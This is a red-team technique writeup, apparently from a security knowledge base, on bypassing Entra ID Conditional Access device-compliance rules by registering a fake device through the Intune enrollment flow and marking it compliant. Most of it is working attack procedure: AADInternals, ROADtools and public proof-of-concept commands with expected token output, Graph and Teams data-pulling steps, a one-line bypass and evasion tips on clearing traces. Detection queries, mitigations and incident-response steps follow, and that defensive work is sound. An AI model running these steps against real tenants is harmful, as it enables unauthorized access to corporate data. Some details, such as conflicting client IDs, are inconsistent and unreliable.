| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-041 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanisms |
| Tactic | Privilege Escalation |
| Platforms | Entra ID / M365 |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Entra ID versions, Intune all versions |
| Patched In | N/A (By Design - Microsoft assessed as non-issue) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Adversaries can circumvent Conditional Access (CA) policies that mandate device compliance by leveraging Intune enrollment exemptions. The Intune Portal client ID (used during device enrollment) can be abused to obtain access tokens that bypass compliance checks. This attack exploits a fundamental design flaw in Azure AD/Entra ID where devices undergoing enrollment are exempt from compliance requirements—a deliberate exception to prevent the chicken-and-egg problem of requiring a compliant device before enrollment completes. However, attackers can weaponize this exemption by generating fictitious devices with the enrollment flow, then making them appear compliant to bypass critical security controls.
Attack Surface: Conditional Access policies enforcing “Require device to be marked as compliant,” Intune enrollment endpoints, Azure AD device registration API, Entra ID authentication flows.
Business Impact: Complete circumvention of device compliance requirements, granting unauthorized access to sensitive applications and data. An attacker can access corporate resources that should only be available on managed, compliant devices, potentially leading to data exfiltration, lateral movement, and unauthorized administrative access.
Technical Context: The attack typically executes in under 2 minutes once valid user credentials are obtained. Detection is low because the device appears legitimate in Azure AD and authentication logs show normal OAuth flows. The technique leaves minimal forensic artifacts if the fake device is cleaned up afterward.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 1.2.3 | Ensure that Conditional Access policies are enforced |
| DISA STIG | V-251319 | Azure AD device compliance must be enforced |
| NIST 800-53 | AC-3 | Access enforcement mechanisms must not be bypassable |
| NIST 800-53 | CM-5 | Access restrictions for policy changes |
| GDPR | Art. 32 | Security of processing - technical and organizational measures |
| DORA | Art. 9 | Protection and prevention of operational resilience risks |
| NIS2 | Art. 21 | Cyber risk management measures must include device controls |
| ISO 27001 | A.9.2.3 | Management of privileged access rights |
| ISO 27005 | Risk scenario | Compromise of identity and access control plane |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Discover which CA policies are enforcing device compliance checks that can be bypassed.
Command (Microsoft Graph API - PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Policy.Read.All"
# Retrieve all Conditional Access policies
$policies = Get-MgBetaIdentityConditionalAccessPolicy
# Filter policies requiring device compliance
foreach ($policy in $policies) {
if ($policy.GrantControls.BuiltInControls -contains "compliantDevice") {
Write-Host "Policy: $($policy.DisplayName)"
Write-Host "Condition: Requires compliant device"
Write-Host "Includes Apps: $($policy.Conditions.Applications.IncludeApplications)"
Write-Host "---"
}
}
What to Look For:
GrantControls.BuiltInControls containing “compliantDevice” or “compliantApplication”Command (Azure Portal UI Alternative):
1. Navigate to Azure Portal → Entra ID → Security → Conditional Access
2. Review each policy's name and click to view details
3. In "Grant" section, look for "Require device to be marked as compliant"
4. Note the assigned Users/Groups and Cloud apps/actions
Objective: Verify that the target user is capable of authenticating to Entra ID (not on-premises only).
Command (PowerShell - Check User Sync Status):
# Connect to Entra ID
Connect-MgGraph -Scopes "User.Read.All"
# Check user's DirSyncEnabled and source
$user = Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'"
if ($user.ExternalUserState -eq $null) {
Write-Host "User is cloud-native or synchronized"
Write-Host "DirSyncEnabled: $($user | Select-Object @{Name='IsSynced'; Expression={$_.OnPremisesSyncEnabled}})"
}
What to Look For:
Supported Versions: Entra ID all versions, Intune all versions
Objective: Install the AADInternals exploitation framework which contains pre-built functions for device compliance bypass.
Command:
# Install AADInternals from PowerShell Gallery
Install-Module -Name AADInternals -Force
# Import the module
Import-Module AADInternals
# Verify installation
Get-Command -Module AADInternals | Where-Object {$_.Name -like "*Device*" -or $_.Name -like "*Compliance*"}
Expected Output:
CommandType Name ModuleName
----------- ---- ----------
Function Get-AADIntAccessTokenForAADJoin AADInternals
Function Join-AADIntDeviceToAzureAD AADInternals
Function Set-AADIntDeviceCompliance AADInternals
Function New-AADIntDevice AADInternals
What This Means:
OpSec & Evasion:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUserClear-HistoryUninstall-Module AADInternalsTroubleshooting:
Install-Module AADInternals -Force as administratorObjective: Acquire an access token that has permissions to register devices in Azure AD using the Intune Portal client ID.
Command:
# Get access token for AAD device join (uses Intune Portal client ID)
Get-AADIntAccessTokenForAADJoin -SaveToCache
# The token is saved to cache for subsequent commands
# Expected output shows token details
Expected Output:
access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkhIUEJVN3A0REVEM0p3VjhTQnpXaUpzQUIzTSJ9...
expires_in: 3599
token_type: Bearer
refresh_token: 0.AR8AkIjE3Jk...
What This Means:
03bfbf7f-dbbe-4221-8d27-8cc853ca5deb (Intune Portal client ID) scopehttps://graph.microsoft.com/.default)OpSec & Evasion:
References & Proofs:
Objective: Create a fake device object in Azure AD that appears as a legitimate managed device.
Command:
# Register a fake device (e.g., posing as a Windows 10 machine)
$deviceName = "FABRICATED-DEVICE-001"
$deviceType = "Commodore" # Device type shown in Azure AD
$osVersion = "C64" # OS version shown in Azure AD
Join-AADIntDeviceToAzureAD -DeviceName $deviceName -DeviceType $deviceType -OSVersion $osVersion
# The device certificate is saved to the current directory
Expected Output:
Device successfully registered to Azure AD:
DisplayName: "FABRICATED-DEVICE-001"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-AADIntAccessTokenForAADJoinObjective: Set device compliance attributes so Conditional Access policies recognize it as compliant.
Command:
# Get the device we just created
$deviceId = "d03994c9-24f8-41ba-a156-1805998d6dc7"
# Mark it as compliant
Set-AADIntDeviceCompliance -DeviceId $deviceId -IsCompliant $true
# Alternatively, set device as Intune-managed
Set-AADIntDeviceCompliance -DeviceId $deviceId -ManagementType "Intune"
Expected Output:
Device compliance updated successfully
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Compliance Status: Compliant
Trust Type: Azure AD registered
What This Means:
isCompliant: true attribute in Azure ADOpSec & Evasion:
References & Proofs:
Objective: Use the fake compliant device to obtain an access token that bypasses Conditional Access policies.
Command:
# Use the device certificate to get a token as if authenticating from the compliant device
$deviceCertPath = "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
$deviceId = "d03994c9-24f8-41ba-a156-1805998d6dc7"
# Get token using the device certificate
$token = Get-AADIntAccessTokenWithDeviceCertificate -DeviceCertificatePath $deviceCertPath -ApplicationId "1b730954-1685-4b74-9bfd-dac224daaffc" # Microsoft Teams client ID
# Or for Microsoft Graph to access broader resources
$graphToken = Get-AADIntAccessTokenWithDeviceCertificate -DeviceCertificatePath $deviceCertPath -ApplicationId "00000003-0000-0000-c000-000000000000" # Microsoft Graph
Expected Output:
access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6ImhzTW1XaEQ1QVhjMmdnNFVHMmJqWEd2TVEzQlUifQ...
token_type: Bearer
expires_in: 3600
device_id: d03994c9-24f8-41ba-a156-1805998d6dc7
is_compliant: true
What This Means:
OpSec & Evasion:
Objective: Use the bypass token to access applications that were previously blocked by Conditional Access.
Command:
# Use the token to access Microsoft Teams
$headers = @{
"Authorization" = "Bearer $graphToken"
"Content-Type" = "application/json"
}
# List all Teams the user has access to
$teams = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers
# Download files from Teams/SharePoint
foreach ($team in $teams) {
$siteId = $team.resourceProvisioningOptions | Where-Object {$_ -eq "Team"}
Write-Host "Accessing Team: $($team.displayName)"
# Further exfiltration via Microsoft Graph APIs
}
What This Means:
Troubleshooting:
Supported Versions: Entra ID all versions, Intune all versions
Objective: Set up the publicly available proof-of-concept exploit script.
Command:
# Clone the POC repository
git clone https://github.com/zh21/PCEntraDeviceComplianceBypass.git
cd PCEntraDeviceComplianceBypass
# Review the main script
Get-Content .\Invoke-ComplianceBypass.ps1
# Note the following parameters to customize:
# -TenantId: Target Azure AD tenant ID
# -Username: Target user email
# -DeviceDisplayName: Name for fake device
# -TargetApplication: App to access (Teams, SharePoint, etc.)
Expected Output: Script shows customizable parameters for:
$TenantId = “contoso.onmicrosoft.com”$ClientId = “04b07795-8ddb-461a-bbee-02f9e1bf7b46” (Intune Portal)$RedirectUri = “https://login.microsoftonline.com/common/oauth2/nativeclient”What This Means:
OpSec & Evasion:
Objective: Run the POC to automatically create a compliant device and obtain access token.
Command:
# Run the bypass script with custom parameters
.\Invoke-ComplianceBypass.ps1 -TenantId "contoso.onmicrosoft.com" `
-Username "user@contoso.com" `
-DeviceDisplayName "EMPLOYEE-WORKSTATION-001" `
-TargetApplication "Microsoft.Teams" `
-Verbose
# Script will:
# 1. Prompt for user credentials
# 2. Obtain Intune Portal access token
# 3. Register fake device to Azure AD
# 4. Mark device as compliant
# 5. Get access token from fake compliant device
# 6. Return token for use with target application
Expected Output:
[*] Attempting to bypass Conditional Access policy...
[+] Access token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiI...
[+] Device successfully registered with ID: d03994c9-24f8-41ba-a156-1805998d6dc7
[+] Device marked as compliant
[+] Access token valid for Teams granted
[+] User can now access Teams without compliant device requirement
What This Means:
Objective: Leverage the token to access restricted resources.
Command:
# If output includes a Teams access token, use it immediately
$teamsToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiI..."
# Access Teams via web API
$headers = @{"Authorization" = "Bearer $teamsToken"}
# Export Teams messages (if access to compliance features)
Invoke-RestMethod -Method Get -Uri "https://teams.microsoft.com/api/canberra/v1/conversations" `
-Headers $headers | ConvertTo-Json | Out-File teams-data.json
Supported Versions: Entra ID all versions
Objective: Install the cross-platform Azure AD enumeration and token manipulation toolkit.
Command (Linux/macOS):
# Install ROADtools from GitHub
git clone https://github.com/dirkjanm/ROADtools.git
cd ROADtools
pip3 install -r requirements.txt
python3 -m roadrecon
# Or install via pip
pip3 install roadtools
Command (Windows):
pip install roadtools
roadtoken
Expected Output:
ROADtools v1.2.0
[*] ROADtoken interactive shell
[*] Token cache initialized
What This Means:
Objective: Get access token using ROADtoken with Intune Portal client ID.
Command:
# Start ROADtoken in interactive mode
roadtoken
# Inside ROADtoken shell:
# Use the Intune Portal client ID with device code flow
token_request = {
'client_id': '04b07795-8ddb-461a-bbee-02f9e1bf7b46', # Intune Portal
'scope': 'https://graph.microsoft.com/.default',
'grant_type': 'urn:ietf:params:oauth:grant-type:device_code'
}
# This will generate a device code for user to authenticate
# Upon user approval, token is obtained
Objective: Use Graph API to create device object.
Command:
# In ROADtoken shell, send Graph request to register device
graph_request = {
'method': 'POST',
'endpoint': '/deviceAppManagement/windowsAutopilotDeploymentProfiles',
'body': {
'displayName': 'FAKE-DEVICE-001',
'deviceType': 'Windows10',
'roleScopeTagIds': []
}
}
send_graph_request(graph_request)
OpSec & Evasion:
Note: No formal Atomic Red Team test exists for this cloud-specific technique. However, security teams can create custom tests:
Objective: Test if Conditional Access policies can be bypassed in your environment.
Test Steps:
# Use AADInternals method from METHOD 1 above
# If successful, device appears in Azure AD and access is granted
# Expected result: Access to Teams despite "no compliant device"
Version: 0.4.2+ Minimum Version: 0.4.0 (earlier versions lack device compliance functions) Supported Platforms: Windows (PowerShell 5.0+), cross-platform (PowerShell 7+)
Installation:
Install-Module AADInternals -Force
Import-Module AADInternals
Key Functions for This Technique:
Get-AADIntAccessTokenForAADJoin # Obtain enrollment token
Join-AADIntDeviceToAzureAD # Register fake device
Set-AADIntDeviceCompliance # Mark device as compliant
Get-AADIntAccessTokenWithDeviceCertificate # Get token as fake device
Version: 1.2.0+ Supported Platforms: Windows, Linux, macOS Installation:
pip install roadtools
roadtoken --help
Key Commands:
roadtoken auth -u username@tenant.onmicrosoft.com # Authenticate
roadtoken scope -s https://graph.microsoft.com/.default # Set scope
roadtoken request POST /api/Device -d '{device json}' # Create device
Version: Latest from GitHub Supported Platforms: Windows PowerShell 5.0+ Installation:
git clone https://github.com/zh21/PCEntraDeviceComplianceBypass
cd PCEntraDeviceComplianceBypass
.\Invoke-ComplianceBypass.ps1
$token = Get-AADIntAccessTokenForAADJoin -SaveToCache; Join-AADIntDeviceToAzureAD -DeviceName "WORKSTATION-TEST" -DeviceType "Windows10" -OSVersion "22H2"; Set-AADIntDeviceCompliance -DeviceId (Get-AADIntDeviceId) -IsCompliant $true
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Register device", "Update device")
| where tostring(InitiatedBy.user.userPrincipalName) has "@"
| extend DeviceData = parse_json(tostring(TargetResources[0]))
| where DeviceData.displayName matches regex @"^(FABRICATED|FAKE|TEST|BYPASS|COMMOD|C64)"
or DeviceData.operatingSystem matches regex @"^(C64|Commodore|FAKE)"
| project TimeGenerated, InitiatedBy, OperationName, DeviceData.displayName, DeviceData.operatingSystem, DeviceData.deviceId
| summarize Count=count() by InitiatedBy, tostring(DeviceData.displayName)
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Device Compliance Bypass AttemptHigh5 minutes1 hourFalse Positive Analysis:
| where InitiatedBy.user.userPrincipalName !startswith "svc_intune"Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Update device"
| extend DeviceProperties = parse_json(tostring(TargetResources[0].modifiedProperties))
| where DeviceProperties contains "isCompliant" and DeviceProperties contains "true"
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatorAppId = tostring(InitiatedBy.app.appId)
| where InitiatorAppId == "04b07795-8ddb-461a-bbee-02f9e1bf7b46" // Intune Portal client ID
| project TimeGenerated, InitiatorUPN, TargetResources, OperationName
What This Detects:
Note: Limited event logging for this attack due to cloud-only nature. Focus on Entra ID audit logs (handled in Section 8). However, if the fake device attempts to authenticate from on-premises AD Connect server, Windows Security Event 4724 may be generated.
Event ID: 4724 (Attempt to Reset Account Password)
Manual Configuration Steps (Group Policy):
gpupdate /force on domain controllersAlert Name: “Suspicious device registered with Intune client token”
Alert Name: “Unusual device compliance state change”
Manual Configuration Steps (Enable Defender for Cloud):
Rule Configuration:
SPL Query:
index=azure_activity operationName="Register device"
initiatedBy.app.appId="04b07795-8ddb-461a-bbee-02f9e1bf7b46"
properties.displayName="FABRICATED*" OR properties.displayName="FAKE*" OR properties.operatingSystem="C64"
| stats count by initiatedBy.user.userPrincipalName, properties.displayName, properties.deviceId
| where count >= 1
What This Detects:
Source: Internal Splunk detection based on AzureActivity data schema
Action 1: Require MFA for Device Enrollment
Manual Steps (Azure Portal):
Enforce MFA for Device EnrollmentVerification Command:
# Verify MFA is required for Intune enrollment
$policy = Get-MgBetaIdentityConditionalAccessPolicy -Filter "displayName eq 'Enforce MFA for Device Enrollment'"
$policy.GrantControls.BuiltInControls | Should -Contain "mfa"
Action 2: Block Legacy Authentication Protocols
Manual Steps (Azure Portal):
Block Legacy AuthenticationAction 3: Restrict Device Registration to Approved Users Only
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Remove Device Registration permissions from non-IT users
$policy = Get-MgBetaIdentityConditionalAccessPolicy -Filter "displayName eq 'Device Registration Policy'"
# Set assignment to exclude regular users
$policy.Conditions.Users.ExcludeUsers += @("group-guid-of-non-it-users")
Update-MgBetaIdentityConditionalAccessPolicy -IdentityConditionalAccessPolicyId $policy.Id -BodyParameter $policy
Action 1: Implement Microsoft Entra Verified ID (Passwordless)
Manual Steps:
Action 2: Enable Risk-Based Conditional Access
Manual Steps:
Block High-Risk Sign-InsAction 3: Monitor Device Registration Activity
Manual Steps:
Action 1: Enforce Device Compliance Hardening
Manual Steps (Intune):
Action 2: Audit Device Registrations Weekly
PowerShell Script:
# Export all devices registered in last 7 days
Get-MgDevice -Filter "approximateLastSignInDateTime gt " | Where-Object {
$_.ApproximateLastSignInDateTime -gt (Get-Date).AddDays(-7)
} | Select-Object DisplayName, DeviceId, OS, IsCompliant, DeviceOSVersion | Export-Csv -Path "device-audit.csv"
Action 3: Implement Device-Based Conditional Access Policies
Manual Steps (Azure Portal):
Device Ownership Requirementdevice.trustType eq "AzureAD" OR device.trustType eq "Hybrid"# Check if all mitigations are in place
$criticalTests = @(
@{Name="MFA on Enrollment"; Query="Get-MgBetaIdentityConditionalAccessPolicy | Where {$_.DisplayName -like '*MFA*Enrollment'}"},
@{Name="Legacy Auth Blocked"; Query="Get-MgBetaIdentityConditionalAccessPolicy | Where {$_.DisplayName -like '*Legacy*'}"},
@{Name="Device Admin RBAC"; Query="Get-MgDirectoryRole -Filter \"displayName eq 'Cloud Device Administrator'\" | Get-MgDirectoryRoleMember | Measure-Object"}
)
foreach ($test in $criticalTests) {
$result = Invoke-Expression $test.Query
if ($result) {
Write-Host "[✓] $($test.Name) - ENABLED" -ForegroundColor Green
} else {
Write-Host "[✗] $($test.Name) - MISSING" -ForegroundColor Red
}
}
Expected Output (If Secure):
[✓] MFA on Enrollment - ENABLED
[✓] Legacy Auth Blocked - ENABLED
[✓] Device Admin RBAC - ENABLED
Azure AD Artifacts:
Authentication Artifacts:
Network Artifacts:
/deviceAppManagement/ endpoints from unusual client IPsCloud Logs:
Event Timeline:
T0: Access token obtained for device enrollment (Get-AADIntAccessTokenForAADJoin)
T+30sec: Device registered (Join-AADIntDeviceToAzureAD)
T+60sec: Device marked compliant (Set-AADIntDeviceCompliance)
T+90sec: Token issued from device certificate (Get-AADIntAccessTokenWithDeviceCertificate)
T+120sec: Access to protected resource (Teams, SharePoint, etc.)
T+cleanup: Device deleted from Azure AD
1. Immediate Isolation (0-5 minutes):
Cloud-based: Revoke user sessions and refresh tokens
# Revoke all refresh tokens for the user
Connect-MgGraph -Scopes "User.ReadWrite.All"
Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'" | Set-MgUser -RefreshTokensValidFromDateTime (Get-Date)
# This forces immediate re-authentication for all sessions
Manual (Azure Portal):
2. Collect Evidence (5-30 minutes):
Command:
# Export all audit logs for user in last 24 hours
$userId = (Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'").Id
Get-MgAuditLogDirectoryAudit -Filter "initiatedBy/user/id eq '$userId'" -All | Export-Csv -Path "audit-evidence.csv"
# Export Azure AD device list
Get-MgDevice -All | Select-Object DisplayName, DeviceId, OS, IsCompliant | Export-Csv -Path "devices-evidence.csv"
# Export conditional access policies
Get-MgBetaIdentityConditionalAccessPolicy -All | Export-Csv -Path "ca-policies-evidence.csv"
Manual (Azure Portal):
3. Remediate (30-60 minutes):
Command:
# Delete the fake device
$fakeDeviceId = "d03994c9-24f8-41ba-a156-1805998d6dc7"
Remove-MgDevice -DeviceId $fakeDeviceId
# Change user password
Set-MgUserPassword -UserId $userId -NewPassword (New-Guid).ToString()
# Reset user MFA
Get-MgUserAuthenticationMethod -UserId $userId | Remove-MgUserAuthenticationMethod
# Review and revoke suspicious permissions
Get-MgUserAppRoleAssignment -UserId $userId | Remove-MgUserAppRoleAssignment
Manual:
4. Post-Incident (60+ minutes):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker obtains user credentials via phishing or brute force |
| 2 | Privilege Escalation | [REALWORLD-041] Device Compliance Bypass | Attacker registers fake compliant device, bypasses CA policies |
| 3 | Persistence | [REALWORLD-044] Teams Compliance Copy Exploitation | Attacker accesses retained messages from Preservation Hold Library |
| 4 | Data Exfiltration | [REALWORLD-043] SharePoint Metadata Exfiltration | Attacker exfiltrates sensitive documents and metadata |
| 5 | Lateral Movement | [REC-CLOUD-002] ROADtools Enumeration | Attacker enumerates other users, groups, and service principals for additional targets |